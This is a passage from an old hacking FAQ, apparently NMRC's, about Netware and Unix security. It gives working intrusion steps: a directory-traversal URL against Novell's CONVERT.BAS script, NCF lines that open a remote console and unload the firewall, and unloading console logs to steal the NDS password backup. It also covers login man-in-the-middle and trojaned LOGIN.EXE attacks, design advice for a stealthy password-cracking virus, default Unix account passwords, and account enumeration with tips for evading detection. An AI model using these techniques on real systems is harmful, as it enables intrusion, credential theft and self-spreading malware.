  5192.   2222..2233..  AArree tthheerree pprroodduuccttss ttoo hheellpp iimmpprroovvee NNeettwwaarree''ss sseeccuurriittyy??
  5193.  
  5194.   While there are a number of products, commercial and shareware/public
  5195.   domain that have some security-related features, the following
  5196.   products are either really good or have some unique features.
  5197.  
  5198.   There is a commercial product called SmartPass, which runs as an NLM.
  5199.   Once installed, you can load this and analyze existing passwords for
  5200.   weaknesses. A limited-time free demo can be obtained from the
  5201.   following address:
  5202.  
  5203.   http://www.egsoftware.com/ <http://www.egsoftware.com/>
  5204.  
  5205.   SmartPass will check passwords on the fly, so a user can be forced to
  5206.   use a non-dictionary word for a password.
  5207.  
  5208.   Another commercial product product that will check from a dictionary
  5209.   word list and simply report if the password is on the list is Bindview
  5210.   NCS. The bindery version is god-awful slow, but completely accurate.
  5211.   It requires Supe access to run. Bindview can also produce a number of
  5212.   reports. including customized reports to give you all kinds of info on
  5213.   the server and its contents. The new Bindview NDS product is even
  5214.   better. Running as an NLM the password-checking is lightning fast at
  5215.   spitting out account names that are using poor passwords. It can do
  5216.   several thousand checks vs. the one-per-couple-of-seconds speed of the
  5217.   bindery version. You can still use the slow across-the-network method
  5218.   if you desire, but this is only for those who like slow torture. The
  5219.   new reporting features are fabulous, and since they can be customized
  5220.   the wily sys admin can have custom security reports (among other
  5221.   things).
  5222.  
  5223.   http://www.bindview.com/ <http://www.bindview.com/>
  5224.  
  5225.   For doing Auditing on a 3.x version of Netware, try AuditTrack. It
  5226.   will track all access to a directory or individual file by user, which
  5227.   can come in handy for seeing who is doing what. Out of the box Netware
  5228.   3.11 has virtually no way to track what an individual user is doing,
  5229.   but the AuditTrack NLM helps greatly. E.G. Software, the developer,
  5230.   can be reached at:
  5231.  
  5232.   http://www.egsoftware.com/ <http://www.egsoftware.com/>
  5233.  
  5234.   Intrusion Detection Systems puts out a commercial product called Kane
  5235.   Security Analyst. It is considered by many to the "SATAN" of Netware.
  5236.   One of its abilities is locating hidden objects in the NDS tree. For a
  5237.   good demo, a 30 day trial version, and more info:
  5238.  
  5239.   http://www.intrusion.com/ <http://www.intrusion.com/>
  5240.  
  5241.   "SafeWord for Netware Connect" is an NLM that does password checks in
  5242.   a Netware Connect environment:
  5243.  
  5244.   http://www.safeword.com/nwcspec.html
  5245.   <http://www.safeword.com/nwcspec.html>
  5246.  
  5247.   There is a product called Password Helper that "enhances" the security
  5248.   around the changing of passwords for 3.x. It is a local EXE/server NLM
  5249.   product that allows non-Supe users to reset passwords.
  5250.  
  5251.   Which product is best? Two stand out -- Bindview NDS and Kane Security
  5252.   Analyst. KSA is more of a security-type product and has some neat
  5253.   features, but Bindview's customization allows for more details to be
  5254.   explored. NMRC uses Bindview on its 4.x servers (okay they sent a free
  5255.   copy, but it is still good and if it had sucked I would have told you
  5256.   that. My day job uses it too).
  5257.  
  5258.  
  5259.   2222..2244..  IIss NNeettwwaarree''ss WWeebb sseerrvveerr sseeccuurree??
  5260.  
  5261.   Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs
  5262.   (yes you are about to hack a server using Basic!) and several are
  5263.   included with the server. One in particular, CONVERT.BAS, takes a file
  5264.   and converts it to HTML and then sends it to the user. Here's an
  5265.   example for www.target.com:
  5266.  
  5267.  
  5268.       http://www.netware.nmrc.org/scripts/convert.bas?readme.txt
  5269.  
  5270.  
  5271.  
  5272.   The README.TXT file is returned as HTML. Now here's the bug:
  5273.  
  5274.  
  5275.       http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume
  5276.  
  5277.  
  5278.  
  5279.   Nasty, huh? I recommend "../../system/autoexec.ncf", or
  5280.   "../../etc/ldremote.ncf". It can also be useful for other things (see
  5281.   06-2 for an example). This has been fixed in the latest version of
  5282.   Novell's IntranetWare.
  5283.  
  5284.  
  5285.   2222..2255..  WWhhaatt''ss tthhee ssttoorryy wwiitthh NNeettwwaarree''ss FFTTPP NNLLMM??
  5286.  
  5287.   With IntranetWare, the FTP NLM has a couple of problems. The standard
  5288.   installation gives Read and File Scan access to SYS:ETC so anonymous
  5289.   users can access files in that directory. This is a problem if you use
  5290.   INETCFG to configure RCONSOLE and then don't go back and encrypt the
  5291.   password in the file. The SNMP community password is in this
  5292.   directory, to say nothing about protocols, addresses, and other
  5293.   configuration information.
  5294.  
  5295.   The wily Admin can turn off the rights, but guess what? Doing this
  5296.   breaks the logging feature.
  5297.  
  5298.   The other major problem on Netware 4.1 with FTPSERV.NLM is that some
  5299.   users logging in via FTP are granted excessive rights. Stopping and
  5300.   starting the NLM seems to put the rights back the way they are
  5301.   supposed to, but then they seem to come back to FULL rights. Using
  5302.   Fetch as an FTP client tends to make this happen all of the time.
  5303.  
  5304.   While it does seem possible that going in and checking effective
  5305.   rights, checking bindery rights via SYSCON, and checking UNICON might
  5306.   turn up something, it seems that installed out of the box 4.1 is
  5307.   vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The
  5308.   problem? If NFS file space isn't used, certain clients like Fetch and
  5309.   Cute FTP will end up with Supe rights to the volume.
  5310.  
  5311.  
  5312.   2222..2266..  CCaann aann IInnttrraanneettWWaarree sseerrvveerr bbee ccoommpprroommiisseedd ffrroomm tthhee IInntteerrnneett??
  5313.  
  5314.   This is a tricky question, however it is POSSIBLE. I've been working
  5315.   on the right set of conditions in the lab, and I have got it to
  5316.   happen. However it involves a LOT of conditions. But these conditions
  5317.   are not entirely out of the question.
  5318.  
  5319.   First, variations on the answers outlined in the previous two
  5320.   questions could be used to gain initial access. For example, if a
  5321.   poorly constructed CGI script was put in place that allowed write
  5322.   access to the server and could be redirected, additions could be added
  5323.   to NCF files.
  5324.  
  5325.   For example, imagine that a CGI script is in place to add a line of
  5326.   text to a file, such as a mailing list. If this CGI script could be
  5327.   redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or
  5328.   SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines
  5329.   might include:
  5330.  
  5331.  
  5332.           UNLOAD REMOTE
  5333.           LOAD REMOTE HACKPASSWORD
  5334.           LOAD XCONSOLE
  5335.  
  5336.  
  5337.  
  5338.   Now simply telnetting to the server, using "hackpassword", and
  5339.   choosing VT-100 will give you remote console access after the next
  5340.   reboot.
  5341.  
  5342.   Can't telnet past that NLM-based firewall? Add the commands to the NCF
  5343.   file to simply unload it! You can reload it after you've gained
  5344.   access, if you desire.
  5345.  
  5346.  
  5347.   Access via Novell's FTP NLM is another problem. If you can gain access
  5348.   to the server via FTP and get read/write access to the SYS: volume,
  5349.   you can alter NCF files and open up all kinds of access.
  5350.  
  5351.   So what kinds of damage can be done? Grab passwords!
  5352.  
  5353.   If you have gained access via techniques previously described, you can
  5354.   grab the password file(s). Novell has stated publicly it cannot
  5355.   happen, yet I have done it in the NMRC lab.
  5356.  
  5357.   First off, the NDS files are located in the SYS:_NETWARE directory.
  5358.   You would of course have to gain access to these files. And there are
  5359.   a couple of ways to do this. You can use the techniques described in
  5360.   the Netware Console Attack section, which will allow all kinds of
  5361.   things. But let's say the administrator of the server has removed
  5362.   NETBASIC, and you can't upload a file like JCMD.NLM. You are not
  5363.   entirely sunk.
  5364.  
  5365.   As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made
  5366.   a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup
  5367.   file, you need to run the equivalent utility from the console. And it
  5368.   is very simple.
  5369.  
  5370.  
  5371.   1. If possible, wait until no one is logged in, as it will be
  5372.      noticable.  During this process no one can log in, although users
  5373.      already logged in should be okay.
  5374.  
  5375.   2. UNLOAD CONLOG (duh)
  5376.  
  5377.   3. LOAD DSMAINT
  5378.  
  5379.   4. Choose the option to prepare for an upgrade.
  5380.  
  5381.   5. This process creates a complete backup of NDS and the login
  5382.      scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS.
  5383.      Use the problem with FTP.NLM to get it, or simply load up FTP.NLM
  5384.      if it isn't running.
  5385.  
  5386.  
  5387.   2222..2277..  AArree tthheerree aannyy pprroobblleemmss wwiitthh NNoovveellll''ss GGrroouuppwwiissee??
  5388.  
  5389.   There is some concern about the ability to proxy another user's
  5390.   mailbox and calendar with Groupwise version 5.2. This attack seems to
  5391.   exclude those with admin rights. The hacker is unable to read the
  5392.   user's files, but he can send email representing the hacker as the
  5393.   user. NMRC is investigating this issue and will be sure to post the
  5394.   results.
  5395.  
  5396.  
  5397.   2222..2288..  AArree tthheerree aannyy pprroobblleemmss wwiitthh NNeettwwaarree''ss MMaacciinnttoosshh nnaammeessppaaccee??
  5398.  
  5399.   A hacker can make changes to the resource fork files without having
  5400.   modify rights. If write rights are removed, the files are secure, but
  5401.   nothing can be added to the directory.
  5402.  
  5403.  
  5404.   2222..2299..  WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNeettwwaarree??
  5405.  
  5406.   Buffer overflows do exist on Netware. Most buffer overflow exploits
  5407.   try to get the CPU to execute arbitrary code to gain higher levels of
  5408.   access to a system. Even though Novell says Netware NLMs run in
  5409.   protected memory and that problems with NLMs should not bother other
  5410.   NLMs, basically all Netware buffer overflows simply abend the server.
  5411.   This is the basis for many Denial of Service attacks against Netware.
  5412.  
  5413.   2233..  NNeettwwaarree MMaatthheemmaattiiccaall//TThheeoorreettiiccaall IInnffoo
  5414.  
  5415.   This section has information regarding Netware, crypto, math, and
  5416.   theories regarding all of this.
  5417.  
  5418.  
  5419.   2233..11..  HHooww ddooeess tthhee wwhhoollee ppaasssswwoorrdd//llooggiinn//eennccrryyppttiioonn tthhiinngg wwoorrkk??
  5420.  
  5421.   In 3.x and 4.x, passwords are encrypted. Here is the rough way in
  5422.   which 3.x handles this -
  5423.  
  5424.  
  5425.   1. Alice sends a login request to the server.
  5426.  
  5427.   2. The server looks up Alice's name and retreives her UID. The server
  5428.      also generates a random value R, and sends the (UID,R) pair to
  5429.      Alice.
  5430.  
  5431.   3. Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then
  5432.      sends Y to the server.
  5433.  
  5434.   4. The server retreives the stored value X'=hash(UID,password), and
  5435.      computes Y'=hash(X',R). If Y=Y' Alice is granted access.
  5436.  
  5437.   5. Both Alice and the server compute Z=hash(X,R,c) (c is some constant
  5438.      value). Z is then used as the signature key for the current
  5439.      session.
  5440.  
  5441.   Note: The last step is only done if both Alice and the server agree to
  5442.   sign packets.
  5443.  
  5444.   The NetWare 4.x login sequence (4.x uses a private/public key scheme
  5445.   using RSA):
  5446.  
  5447.  
  5448.   1. Alice requests a login from the server.
  5449.  
  5450.   2. The server generates a random value R, and retrieves X'=hash(UID,
  5451.      password), and also computes Y'=hash(X',R). R is sent to Alice.
  5452.  
  5453.   3. Alice computes X=hash(UID,password) and Y=hash(X,R). Alice
  5454.      generates a random value R2, retrieves the servers public key and
  5455.      sends the pair (Y,R2) to the server encrypted with the server's
  5456.      public key.
  5457.  
  5458.   4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice
  5459.      gave is correct. The server retrieves Alice's private key, computes
  5460.      Z=(Alice's private key XOR R2) and transmits Z to Alice.
  5461.  
  5462.   5. Alice computes private_key=R2 XOR Z. This key is used to sign
  5463.      packets.
  5464.  
  5465.   It should be noted that Netware 4.x encrypts Alice's RSA private key
  5466.   with X' when it's stored on the server.
  5467.  
  5468.  
  5469.   2233..22..  AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??
  5470.  
  5471.   In theory, by looking at the methods outlined in the previous
  5472.   question, there are several possibilities. First, Netware 3.x -
  5473.  
  5474.   This is a variation of the Man-In-The-Middle attack used to attack
  5475.   public key cryptosystems. A real MITM attack will also work, but the
  5476.   link must be shut down in order to implement a MITM attack, and
  5477.   someone is likely to know something is up.
  5478.  
  5479.   This attack requires that Bob (the attacker) be capable of sending
  5480.   packets to both the server and Alice (the user attempting to login)
  5481.   faster than the server and Alice can send packets to each other. There
  5482.   are a number of ways to set up this scenario. The best way is to
  5483.   implement a MITM attack by either by attacking a router, or by
  5484.   segmenting the wire between the server and Alice.
  5485.  
  5486.   Another way is to gain two entry points into the network (one close to
  5487.   Alice, the other close to the server). The best way to do this is to
  5488.   wire two hosts together in the specified locations. If using wire is
  5489.   infeasable (which in most cases it will be), Bob can use wireless
  5490.   network cards, or modems plugged into existing phone jacks, or modems
  5491.   with cellular capability. If modems are used, the attack will require
  5492.   Bob to take control of two computers on the network, and will increase
  5493.   the time needed to get packets to Alice or the server.
  5494.  
  5495.   This attack will not work if the server requires Alice to sign
  5496.   packets. Alice's workstation may be set up to sign packets, and Alice
  5497.   can still use signed packets, and the attack will still work. However,
  5498.   if all hosts are required to sign packets, the attack won't work. This
  5499.   is because Bob will never know Alice's password, nor will he ever know
  5500.   X=hash(UID,password). Since NetWare 3.x defaults to allowing the host
  5501.   to decide wether or not to sign packets, this attack is still
  5502.   feasable. Sysadmins can defeat this attack by requiring packet
  5503.   signatures for all hosts.
  5504.  
  5505.   The attack:
  5506.  
  5507.   When Bob sees Alice request a login, Bob also requests a login as
  5508.   Alice from. The server will generate two random values (R[a] and R[b],
  5509.   denoting the R sent to Alice and the R sent to Bob respectivley). When
  5510.   Bob receives R[b], he spoofs the servers address and sends R[b] to
  5511.   Alice. Alice will think the server requested Alice to compute
  5512.   Y[b]=hash(X,R[b]) rather than what the server really intended:
  5513.   Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will
  5514.   sniff Y[b] from the network as Alice sends it, and transmit it to the
  5515.   server (using his real address). At this point the server will think
  5516.   Alice has attempted to login twice. Bob's attempt will work, and
  5517.   Alice's attempt will fail. If all went well, Bob has assumed the
  5518.   identity of Alice without knowing her password, and Alice is re-typing
  5519.   in her password.
  5520.  
  5521.   If the server won't allow the same user to login twice simultaneously,
  5522.   or ever aborts both login sequences after retreiving two responses to
  5523.   the same question, then Bob should saturate a network (but not shut it
  5524.   down completely) between Alice and the server while Bob is attempting
  5525.   to login as Alice.
  5526.  
  5527.   For the ultra paranoid: Bob should be careful, there may be another
  5528.   attacker, Joe, just waiting for Alice to login with packet signing
  5529.   turned off. Here Joe can also assume the identity of Alice with
  5530.   significantly less effort.
  5531.  
  5532.   Now let's discuss Netware 4.x:
  5533.  
  5534.   The attack follows the Netware 3.x attack until Alice attempts to
  5535.   retrieve the server's public key. At this point Bob sends his own
  5536.   public key to Alice.  Alice will then send the server the pair (Y,R2)
  5537.   encrypted with Bob's public key. Bob sniffs this information off the
  5538.   network, decrypts the pair (Y,R2).  Then generates his own R2 (or
  5539.   keeps the one Alice chose), retreives the real public key of the
  5540.   server and sends the server the pair (Y,R2) encrypted with the
  5541.   server's real public key.
  5542.  
  5543.   If server the is requiring packet signature, the server will then send
  5544.   Bob Z to allow him access as Alice. Bob doesn't know Alice's private
  5545.   key, as he never receives it. Remember that Netware 4.x encrypts
  5546.   Alice's RSA private key with X' when it's stored on the server, and is
  5547.   never send unencrypted on the wire. So Bob can't sign packets as
  5548.   Alice.
  5549.  
  5550.   But Bob is not completely out of luck yet. Bob can try an offline
  5551.   attack at guessing Alice's password since he knows Y', R and Alice's
  5552.   UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's
  5553.   likely that Alice's password in not a particularly good one, this is a
  5554.   severe reduction in security, but not a total breach, since Bob can
  5555.   compute X by finding a password such that X=hash(pass,UID). Once Bob
  5556.   knows X, he can determine what Alice's private RSA key is. THEN he can
  5557.   sign packets.
  5558.  
  5559.   It should be noted that Alice may cache the server's public key for
  5560.   the second login attempt. If this is true, Alice won't be able to
  5561.   login and may notice what has happened. But Alice's private RSA key
  5562.   will never change, and once that is attained is doesn't matter even if
  5563.   Alice changes her password.  Alice's password can still be discovered.
  5564.  
  5565.  
  5566.   2233..33..  AArree NNeettwwaarree--aawwaarree vviirruusseess ppoossssiibbllee??
  5567.  
  5568.   A NetWare aware virus could allow an attacker to gain access to a
  5569.   large number of servers available on the network.
  5570.  
  5571.   Using one of the strategies used by the Internet Worm of 1988 combined
  5572.   with simple virus strategy, a virus can be constructed to infect many
  5573.   clients/servers across many networks (the virus could also employ
  5574.   attacks similiar to HACK.EXE or even Man-In-The_Middle attacks).  Some
  5575.   NetWare networks will have a large number of servers attached. It's
  5576.   also true that most users (including Supe and Admin) will use the same
  5577.   password on many different servers (some may have no password at all).
  5578.   A virus could exploit this vulnerability and spread to other servers
  5579.   which it otherwise would not have access to. The virus could also use
  5580.   the idle CPU time on infected clients to crack the passwords of other
  5581.   users.
  5582.  
  5583.   However, care must be taken not to give the virus away by setting off
  5584.   intruder detection alarms. The virus should randomly select one user
  5585.   from a randomly selected server attempt to login using a randomly
  5586.   selected word from a wordlist. How often the client should attempt
  5587.   logins depends upon the size of the network (remember that if the
  5588.   virus succeeds, there may be 10s of thousands of clients breaking
  5589.   passwords in parrallel).
  5590.  
  5591.   The virus should estimate the size of the network, and use laws of
  5592.   probibility to determine how often to attempt a break in so that no
  5593.   account is tried twice in the same hour. This should be calculated by
  5594.   relating the number of unique accounts, the number of clients
  5595.   (estimated by monitoring network traffic and assuming all servers have
  5596.   the same number of clients on their network. While this is not 100%
  5597.   accurate, this should be accurate enough for our purposes.
  5598.  
  5599.   Some the estimated success rate of the virus (measured in propagation
  5600.   delay for infecting hosts per day from a single host), and the length
  5601.   of time the virus has been running should be considered. Using
  5602.   A=number of unique accounts, P = propagation delay, and n = number of
  5603.   days virus has been running, then the following computes the number of
  5604.   guesses the client should make per hour: (A*24)/(P^n).
  5605.  
  5606.   What should or could this virus do? Well, if it is running on a
  5607.   workstation with a network card, we could sniff logins. Since R and
  5608.   hash(X,R) are sent in the clear, the virus could attempt an offline
  5609.   computational attack against X, thus avoiding a brute force attack
  5610.   that could trigger intruder detection. The virus can't use the MITM
  5611.   attacks on the login sequence because it doesn't have the required
  5612.   wiring topology neccessary to implement the attack. Yes, you COULD try
  5613.   and build that in but then it probably would be too big and
  5614.   noticeable. Remember, we're talking virus, not stand-alone
  5615.   application.
  5616.  
  5617.  
  5618.   2233..44..  CCaann aa ttrroojjaanneedd LLOOGGIINN..EEXXEE bbee iinnsseerrtteedd dduurriinngg tthhee llooggiinn pprroocceessss??
  5619.  
  5620.   Apparently so.
  5621.  
  5622.   Here is a different perspective of the login sequence which is common
  5623.   to all versions of NetWare:
  5624.  
  5625.  
  5626.   1. The workstation attaches to the server.
  5627.  
  5628.   2. The workstation maps a drive to the server's SYS:\LOGIN directory.
  5629.  
  5630.   3. The workstation downloads LOGIN.EXE from the server and executes
  5631.      it.
  5632.  
  5633.   4. If the user is authenticated, the workstation downloads and
  5634.      executes the login script.
  5635.  
  5636.   The hole in this protocol is when the workstation downloads LOGIN.EXE.
  5637.   Since the user isn't logged in, there is no packet signing available,
  5638.   thus any workstation is capable of impersonating the server. Here the
  5639.   attacker can simply sniff the request to download LOGIN.EXE from the
  5640.   network, and then send the workstation ANY program in return and the
  5641.   workstation will execute it.
  5642.  
  5643.   The optimal attack here would be to send a modified copy of the real
  5644.   LOGIN.EXE file. The modified EXE could encrypt the user's password
  5645.   (using public key crypto) and broadcast it to the network. However,
  5646.   the modified EXE could also carry out the login handshake as normal
  5647.   and log the user in and executing the login script. With this attack,
  5648.   the target user would have no way of identifying that anything out of
  5649.   the ordinary has happened. It appears that NetWare always starts with
  5650.   the sequence numbers at 0 and increments seq + 1 from there for the
  5651.   remainder of the session. Thus it's possible to predict the sequence
  5652.   numbers. This will allow the attacker to exploit the hole without
  5653.   using a MITM attack and still allow the conversation to continue
  5654.   normally by using only a single workstation.
  5655.  
  5656.   The attack can also be carried out by any single host on the network
  5657.   which is capable of sniffing the request to download LOGIN.EXE. It's
  5658.   also possible to do this even if the workstation and the server are on
  5659.   the same network (if and only if the server is slower responding to
  5660.   requests than the attacker's machine). Here the attacker just makes up
  5661.   the sequence numbers, and sends the workstation a phony LOGIN.EXE
  5662.   which will broadcast the user's password (again, encrypted) over the
  5663.   network and then re-boot the machine. (It's also possible for the
  5664.   attacker to log the user in and have the attack transperent to the
  5665.   user. In this case, the attacker would have to sniff one of the
  5666.   server's packets off the network, and re-send it to the workstation
  5667.   with adjusted sequence numbers so that the workstation's next ACK will
  5668.   synch with the server's sequence numbers. Note that the attacker will
  5669.   have to artificially ACK the packets the server sends when the client
  5670.   tries to download LOGIN.EXE.)
  5671.  
  5672.   It's been stated that only the first few bytes of NetWare packets are
  5673.   signed. That means the user can not only modify LOGIN.EXE on the fly,
  5674.   but can modify any program on the fly.
  5675.  
  5676.  
  5677.   Let's put this into a more proper perspective. The exploit program
  5678.   would take the MAC address of an admin/supe person as a parameter,
  5679.   wait for the user to attempt to login, exploit the host, and exit. If
  5680.   the attacker didn't want to take the effort to allow the conversation
  5681.   to continue, s/he could make the exploit program re-boot the host
  5682.   automatically after broadcasting the password over the network (once
  5683.   again, encrypted and intended for the attacker).
  5684.  
  5685.   Obviously we don't need to exploit a large range of hosts, only the
  5686.   ones with LAN admins logging in. This would typically be a small
  5687.   subset of machines (which quite possibly normal users wouldn't have
  5688.   access to in order to prevent the use of keyboard capture routines).
  5689.   So all the attacker needs to do is exploit the host where the Admin-
  5690.   equiv logs in.
  5691.  
  5692.   The idea came from an already known hole in NFS for UNIX (it's
  5693.   exploited exactly the same way). But NetWare is supposed to avoid this
  5694.   hole through the use of packet signatures. It obviously didn't. The
  5695.   exploit for this hole would really not be much different than the code
  5696.   for HACK.EXE which uses the same principles.
  5697.  
  5698.   Of course, this hole allows anyone to execute any arbitrary program on
  5699.   any host. So the possibilities are only limited to your imagination,
  5700.   especially if you start combining the techniques from section 11. A
  5701.   virus that did the LOGIN.EXE spoof that left code to decypher the
  5702.   private key of each workstation comes leaping to mind...
  5703.  
  5704.   Now the MITM attack isn't required to take advantage of any part of
  5705.   this attack. It would be if the attacker couldn't predict the server's
  5706.   and the user's sequence numbers. This has the following effects:
  5707.  
  5708.  
  5709.   1. The attacker doesn't need to sniff one of the server's packets off
  5710.      the network to resynchronize the sequence numbers.
  5711.  
  5712.   2. The attacker doesn't need to artifically ACK the server's
  5713.      responses.
  5714.  
  5715.   3. The MITM attack isn't needed to modify a program on the fly. Any
  5716.      single workstation can implement the attack.
  5717.  
  5718.  
  5719.   2233..55..  IIss aannyytthhiinngg ""vvuullnneerraabbllee"" dduurriinngg aa ppaasssswwoorrdd cchhaannggee??
  5720.  
  5721.   Netware 3.x does not use the public key crypto stuff that Netware 4.x
  5722.   uses, so to transmit a password across the wire during a password
  5723.   change it has to be encrypted with something. The new password is
  5724.   encrypted with the previous password. However if the previous password
  5725.   is blank (i.e. new account) the "key" to encrypt with might as well be
  5726.   plaintext.
  5727.  
  5728.  
  5729.   2233..66..  IIss ""ddaattaa ddiiddddlliinngg"" ppoossssiibbllee??
  5730.  
  5731.   Novell's data validation scheme involves packet signature and a
  5732.   checksum. However since a checksum includes the packet signature, IN
  5733.   THEORY it is possible to use this info in combination with another
  5734.   problem to diddle data.
  5735.  
  5736.   The other problem involves the fact that packet signature only uses
  5737.   the first 52 bytes of the data portion, which means any data from byte
  5738.   89 and on could be altered, a new checksum generated, and the packet
  5739.   would now have a valid signature AND checksum, but altered data.
  5740.  
  5741.   Of course, this assumes an attacker could write code that could do
  5742.   something interesting beyond byte 89 AND generate a checksum AND
  5743.   retransmit the forged packet AND beat the real packet to its
  5744.   destination.
  5745.  
  5746.   Assuming checksums could be predetermined, especially if you are
  5747.   looking for a specific source and target address and type of packet,
  5748.   it could be done.
  5749.  
  5750.  
  5751.  
  5752.  
  5753.   2244..  UUnniixx AAccccoouunnttss
  5754.  
  5755.   The following section deals with Accounts on Unix systems.
  5756.  
  5757.  
  5758.   2244..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr UUnniixx??
  5759.  
  5760.   All Unix systems have an account called root. This account is also
  5761.   commonly known as the SuperUser.  Actually any account with a UID and
  5762.   GID of zero could be considered a SuperUser account. It is possible
  5763.   that a system administrator will rename the root account for
  5764.   obfuscation, but this is rather impractical as many applications not
  5765.   only require the UID zero but actually require the name of the account
  5766.   be "root" to run certain functions. As administrators do not wish to
  5767.   create more problem or have to patch more code than neccessary, this
  5768.   is a rare occurence.
  5769.  
  5770.   Oh, and unless you've being living under a rock, you should already
  5771.   know that root is god on Unix.
  5772.  
  5773.   Here are a few other accounts and passwords (if known) commonly found
  5774.   on Unix systems:
  5775.  
  5776.  
  5777.           System   Account   Password Purpose
  5778.           -------- --------- -------- -----------------------------------------
  5779.           Some     guest     (none)   Guest access
  5780.           Some     demo      (none)   Demo access
  5781.           Some     games     (none)   Play games
  5782.           Some     nuucp     (none)   UUCP access
  5783.           Some     daemon    (none)   Typically invalid for direct access
  5784.           Some     bin       (none)   Typically invalid for direct access
  5785.           Some     man       (none)   Typically invalid for direct access
  5786.           Some     lpd       (none)   Typically invalid for direct access
  5787.           Some     sys       (none)   Typically invalid for direct access
  5788.           Some     nobody    (none)   Typically invalid for direct access
  5789.           Some     ftp       (none)   Anon FTP access, use email address as password
  5790.           AIX      guest     guest    Guest access
  5791.           NeXT     root      NeXT     god (default password on shipped systems)
  5792.           NeXT     signa     signa    Guest account
  5793.           NeXT     me        (none)   Not seen on all systems
  5794.           SGI/Irix 4DGifts   (none)
  5795.           SGI/Irix lp        (none)
  5796.           SGI/Irix tour      (none)
  5797.           SGI/Irix tutor     (none)
  5798.           SGI/Irix demos     (none)
  5799.  
  5800.  
  5801.  
  5802.  
  5803.   2244..22..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr UUnniixx??
  5804.  
  5805.   Remotely you have a few things you can try. Here are a few
  5806.   suggestions:
  5807.  
  5808.  
  5809.      ffiinnggeerr
  5810.         By typing in finger @targethost you get get users that are
  5811.         currently logged in. This will give you a few account. Also by
  5812.         typing finger account@targethost you can determine if that
  5813.         account is valid, and possibly the last time it has been
  5814.         accessed. Unfortunately most Unix systems refuse finger requests
  5815.         from remote hosts, so this usually doesn't do you a lot of good.
  5816.         But if finger is allowed, it can return a lot of information.
  5817.         Try running finger with a -l for more verbose listings. If you
  5818.         gain local access, use finger account to get info on other
  5819.         accounts on the system. For example, if finger root returns info
  5820.         about an administrator named Fred, then finger fred, which may
  5821.         reveil Fred's regular account.
  5822.  
  5823.  
  5824.      rruusseerrss
  5825.         You can run rusers targethost which may return remote user info
  5826.         if the service is allowed.
  5827.  
  5828.  
  5829.      wwhhooiiss
  5830.         Doing a whois domain will return info about who is responsible
  5831.         for a domain, and usually included a valid account name. You can
  5832.         use this to possibly determine other account names, and odds are
  5833.         very good that the administrative contact and/or the technical
  5834.         contact have the system privileges you desire.
  5835.  
  5836.  
  5837.      mmaaiill
  5838.         Often by telnetting to the mail server and trying to verify or
  5839.         expand names you can learn account names. By typing telnet
  5840.         targethost 25 and typing in EXPN account or VRFY account will
  5841.         tell you if that account is valid. You may have to type in HELO
  5842.         or some other commands before you can do an EXPN or VRFY.
  5843.  
  5844.   A lot of administrators are aware of the above techniques, and will
  5845.   often treat these probes as attacks themselves.  Many sites refuse
  5846.   finger and ruser accesses, and a lot of sites have configured their
  5847.   mailer to either not respond to VRFY and EXPN or simply return nothing
  5848.   of value. Odds are good that sites that refuse these types of probes
  5849.   are usually logging these types of probes, so you may wish to probe
  5850.   from one location and attack from another.
  5851.  
  5852.   If you can gain access locally, such as through a guest account, there
  5853.   are a number of things you can do to view possible account names. Try
  5854.   using some of the finger techniques from above minus the targethost,
  5855.   try typing w or who or even more /etc/passwd to get account names.
  5856.  
  5857.  
  5858.  
  5859.   2255..  UUnniixx PPaasssswwoorrddss
  5860.  
  5861.   This section deals with Unix passwords.
  5862.  
  5863.  
  5864.   2255..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn UUnniixx??
  5865.  
  5866.   The password file for Unix is located in /etc and is a text file
  5867.   called passwd.  By default and by design this file is world readable
  5868.   by anyone on the system.  On a Unix system using NIS/yp or password
  5869.   shadowing the password data may be located elsewhere.
  5870.  
  5871.  
  5872.  
  5873.  
  5874.  
  5875.   2255..22..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh UUnniixx ppaasssswwoorrddss??
  5876.  
  5877.   Okay first off let's cover the structure of the password file.
  5878.  
  5879.   An entry in the password file consists of seven colon delimited
  5880.   fields:
  5881.  
  5882.  
  5883.     nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash
  5884.  
  5885.  
  5886.  
  5887.   This is what the fields actually are:
  5888.  
  5889.  
  5890.   nomad         - Account or user name, what you type in at the login prompt
  5891.   HrLNrZ3VS3TF2 - One way encrypted password (plus any aging info)
  5892.   501           - User number
  5893.   100           - Group number
  5894.   Simple Nomad  - GECOS information
  5895.   /home/nomad   - Home directory
  5896.   /bin/bash     - Program to run on login, usually a shell
  5897.  
  5898.  
  5899.  
  5900.   The password field contains, yes, a one way encrypted password. This
  5901.   means that it is practically impossible to decrypt the encrypted
  5902.   password. The password field consists of 13 characters - the first two
  5903.   characters are the "salt" and the remainder is the actual hash.
  5904.  
  5905.   When you log in with your account name and password, the password is
  5906.   encrypted and the resulting hash is compared to the hash stored in the
  5907.   password file.  If they are equal, the system accepts that you've
  5908.   typed in the correct password and grants you access.
  5909.  
  5910.   To prevent crackers from simply encrypting an entire dictionary and
  5911.   simply looking up the hash, the salt was added to the algorithm to
  5912.   create a possible 4096 different conceivable hashes for a particular
  5913.   password. This lengthens the cracking time because it becomes a little
  5914.   harder to store an encrypted dictionary online as the encrypted
  5915.   dictionary now would have to take up 4096 times the disk space. This
  5916.   does not make password cracking harder, just more time consuming.
  5917.  
  5918.   Unix passwords allow mixed case, numbers, and symbols. Typically the
  5919.   maximum password length on a standard Unix system is 8 characters,
  5920.   although some systems (or system enhancements) allow up to 16
